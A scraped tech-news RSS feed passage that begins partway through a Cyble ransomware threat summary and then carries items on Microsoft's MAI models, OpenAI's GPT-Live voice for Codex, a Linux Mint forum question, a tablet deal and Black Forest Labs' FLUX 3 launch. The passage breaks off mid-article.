<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="19:1-19:421;3334-3754">The initial access market itself was strikingly concentrated: two sellers, tracked under the handles "redpin" and "xpl0itrs," accounted for nearly all listings targeting North American organizations. Threat actors also continued to lean on known and zero-day <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29104">vulnerabilities</a> in widely deployed enterprise platforms — including products from Ivanti and Palo Alto Networks — as their preferred way into corporate networks.</p>

<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="21:1-21:37;3756-3792"><strong>Hacktivism Blurs into Cybercrime</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">North America wasn't spared the <a class="wpil_keyword_link" href="https://cyble.com/hacktivism/" target="_blank" rel="noopener" title="hacktivism" data-wpil-keyword-link="linked" data-wpil-monitor-id="29102">hacktivism</a> wave sweeping the rest of the world either. Collectives including SOLDADOS DIGITALES – UNIÓN AMERICANA and LYSTIC TEAM #ID drove roughly 56 <a class="wpil_keyword_link" href="https://cyble.com/general/data-leak/" target="_blank" rel="noopener" title="data leak" data-wpil-keyword-link="linked" data-wpil-monitor-id="29100">data leak</a> or dump posts and touched about 360 unique domains across the region, with Government, Technology, financial services and telecommunications entities most frequently in the crosshairs.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">Cyble's broader findings suggest many groups marketing themselves as ideologically driven hacktivists are, in practice, running side businesses in stolen data brokerage and DDoS-for-hire services — a blurring of motive that complicates how defenders triage the threat.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">The scale of the U.S. numbers doesn't necessarily mean American companies have weaker defenses than their global peers — the concentration also reflects the sheer size and digital density of the U.S. economy, and its outsized share of the high-value targets ransomware affiliates chase. But the data does argue for a shift in posture.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">Cyble's broader recommendations — treating data exfiltration, not just encryption, as the primary risk; prioritizing patches for the recurring vendor list; and monitoring initial access markets as a leading indicator rather than an afterthought — apply nowhere more urgently than in a country absorbing this much of the world's ransomware volume on its own.</p>]]></content:encoded>
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<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
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<title><![CDATA[Agentic coding goes hands free as OpenAI brings GPT-Live's full duplex voice control to Codex and ChatGPT on the desktop]]></title>
<description><![CDATA[Two weeks after debuting its more naturalistic GPT-Live audio AI model with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows. The company announced that GPT-Live now powers the ChatGPT desktop application on macOS and Wind...]]></description>
<link>https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/</guid>
<pubDate>Fri, 24 Jul 2026 00:20:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Two weeks after debuting its <a href="https://venturebeat.com/technology/openai-launches-gpt-live-a-full-duplex-voice-upgrade-that-lets-chatgpt-talk-more-like-a-person">more naturalistic GPT-Live audio AI model</a> with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows. </p><p>The company announced that <a href="https://x.com/OpenAI/status/2080378182469857576">GPT-Live now powers the ChatGPT desktop application</a> on macOS and Windows, integrating directly with agentic systems like Codex and ChatGPT Work (which are separate experiences available in the ChatGPT desktop app). </p><p>When OpenAI initially launched GPT-Live on July 8, 2026, it introduced a continuous audio model capable of listening and speaking simultaneously—eliminating rigid turn-taking while delegating complex reasoning to background models like GPT-5.5. </p><p>Today's release expands that conversational layer to technical tasks, enabling software engineers to orchestrate multi-threaded coding jobs, review pull requests, and debug applications using natural voice commands.</p><p>As such, it could usher in a new era of "hands free" software development and even live, in-person group coding parties for <a href="https://openai.com/index/codex-for-knowledge-work/">Codex's more than 5 million weekly active users</a>. Codex, of course, is the name given to OpenAI's models and harness focused on coding, but which the company has this year expanded into a more <a href="https://venturebeat.com/technology/openai-drastically-updates-codex-desktop-app-to-use-all-other-apps-on-your-computer-generate-images-preview-webpages">general productivity platform. </a>An OpenAI spokesperson told VentureBeat this is the first time voice activation has been included natively with Codex on the desktop. </p><p>OpenAI posted a <a href="https://youtu.be/E0ZMOschrTU?si=WWc8fZ2o0UtxrDFk">promotional video</a> showing some of its employees, Codex developer experience engineer Jason Liu and Codex technical staffer Guinness Chen, speaking to the same ChatGPT desktop app session in the same room, each issuing different instructions and conversing with the same model. </p><div></div><h2><b>New capabilities unlocked</b></h2><p>At its core, this integration relies on decoupling the real-time voice layer from the underlying execution engines.</p><p>While GPT-Live maintains fluid conversation—inserting natural verbal acknowledgments like "got it" without interrupting the user—it passes heavy computational workloads to background reasoning models. </p><p>On macOS, the desktop application incorporates "Appshots" and screen context features, allowing ChatGPT Voice to analyze the frontmost window alongside local files, codebase structures, and active plugins.</p><p>This architecture creates a pair-programming dynamic where developers talk through problems conversationally while agents execute tasks asynchronously. </p><p>Rather than manually stopping coding sessions to type detailed instructions or switch windows, developers direct the system hands-free. </p><p>The full-duplex engine dynamically decides when to speak, pause, or invoke tools, maintaining conversational state even as background agents process complex code modifications.</p><h2><b>Directing coding and complex builds with your voice alone</b></h2><p>The central operational capability in this update centers on multi-task execution across Codex and ChatGPT Work environments. </p><p>Software engineers can initiate multiple concurrent task threads from a single spoken prompt. For instance, a developer preparing to ship a feature can instruct the system to investigate an open authentication bug, review a pending API migration pull request, and generate missing unit tests simultaneously.</p><p>The desktop application coordinates these actions across disparate contexts, tracing issues through Slack conversations, GitHub repositories, and local codebases.</p><p>Developers can also verbally convert design mockups into working code, splitting tasks across frontend, backend, and testing layers. </p><p>With support for multi-folder projects (build 26.715) and remote execution via iOS, engineers can check task progress, answer agent prompts, and redirect active jobs without switching applications or managing individual processes line by line.</p><h2><b>Proprietary license</b></h2><p>OpenAI’s voice-enabled desktop release operates under a proprietary, commercial enterprise model. Access is restricted to paid subscribers across Plus, Pro, Business, Enterprise, and Education plans.</p><p>For individual developers and corporate engineering departments, this commercial structure means the model weights, voice processing pipelines, and agent state architectures remain fully closed. </p><p>Organizations cannot modify or self-host the underlying systems. Furthermore, tasks initiated via ChatGPT Voice consume standard usage allocations directly from existing Codex and ChatGPT Work plan quotas, treating voice-triggered actions identically to standard agentic workloads.</p><h2><b>Community reactions</b></h2><p>Developer communities immediately noted the implications of bringing continuous full-duplex voice to autonomous coding workflows. </p><p>Reacting to the build 26.715 release announcement—which details voice integration and multi-folder project support—AI Insider journalist <a href="https://x.com/ChrisGPT/status/2080375250139693293">@ChrisGPT noted on X</a>: "Today OpenAI will release voice and remote guidance for codex ! One step closer to personal AGI". </p><p>Early technical feedback highlights widespread enthusiasm for orchestrating complex agentic tasks hands-free, particularly when stepping away from the workstation or managing build pipelines remotely.</p>]]></content:encoded>
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<title><![CDATA[Are Linux Mint's Default Apps Too Outdated for Everyday Use?]]></title>
<description><![CDATA[Did anyone in this community watched this video? The creator claims that Linux Mint, along with many LTS Linux distributions, often ships older versions of software, especially default apps like Calendar, Mail, Calculator, etc. He mentions Mint several times throughout the video. The video is fro...]]></description>
<link>https://tsecurity.de/de/3690331/linux-tipps/are-linux-mints-default-apps-too-outdated-for-everyday-use/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690331/linux-tipps/are-linux-mints-default-apps-too-outdated-for-everyday-use/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:13 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Did anyone in this community watched this <a href="https://youtu.be/1ebkQq5TcMw?si=YD6V0yDXZxFFgLqe">video</a>? The creator claims that Linux Mint, along with many LTS Linux distributions, often ships older versions of software, especially default apps like Calendar, Mail, Calculator, etc. He mentions Mint several times throughout the video.</p> <p>The video is from <strong>The Linux Experiment</strong>, which seems to be a well-known YouTube channel with nearly half a million subscribers.</p> <p>I came across this video just before switching from Windows to Linux Mint, and it made me a bit hesitant.</p> <p>As a regular user, it feels like there's no easy way to know whether we're using the latest and safest versions of these built-in apps. For example, if we connect our Google or Apple Calendar account to an older calendar app, could that create a security risk? The same concern applies to email clients, we don't know if we're using the latest and most secure version.</p> <p>Most regular users don't have the time or technical knowledge to manually check every application's version or update software outside the normal update process. We generally expect the operating system to keep essential apps secure and up to date.</p> <p>Am I misunderstanding how Linux Mint and other LTS distributions handle software updates and security? I'd appreciate hearing from people with more experience.</p> <p><a href="https://preview.redd.it/eqwhcsz67xeh1.jpg?width=365&amp;format=pjpg&amp;auto=webp&amp;s=3afc46c4597b33d1436a64a7ff3a5ffa9dcc7a4d">https://preview.redd.it/eqwhcsz67xeh1.jpg?width=365&amp;format=pjpg&amp;auto=webp&amp;s=3afc46c4597b33d1436a64a7ff3a5ffa9dcc7a4d</a></p> <p><a href="https://preview.redd.it/are-linux-mints-default-apps-too-outdated-for-everyday-use-v0-bs4cq3ue4xeh1.jpg?width=365&amp;format=pjpg&amp;auto=webp&amp;s=1e3ab85d7a6c369d1c10a2675a848e3e4b33d84a"></a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/EFG4567"> /u/EFG4567 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v45adu/are_linux_mints_default_apps_too_outdated_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v45adu/are_linux_mints_default_apps_too_outdated_for/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Lenovo’s Powerful Yoga Tab Is $200 Off Just in Time for Back-to-School Season]]></title>
<description><![CDATA[This two-in-one device is built for portable productivity, and it’s down to a great price.]]></description>
<link>https://tsecurity.de/de/3690136/it-nachrichten/lenovos-powerful-yoga-tab-is-200-off-just-in-time-for-back-to-school-season/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690136/it-nachrichten/lenovos-powerful-yoga-tab-is-200-off-just-in-time-for-back-to-school-season/</guid>
<pubDate>Thu, 23 Jul 2026 22:03:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This two-in-one device is built for portable productivity, and it’s down to a great price.]]></content:encoded>
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<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical 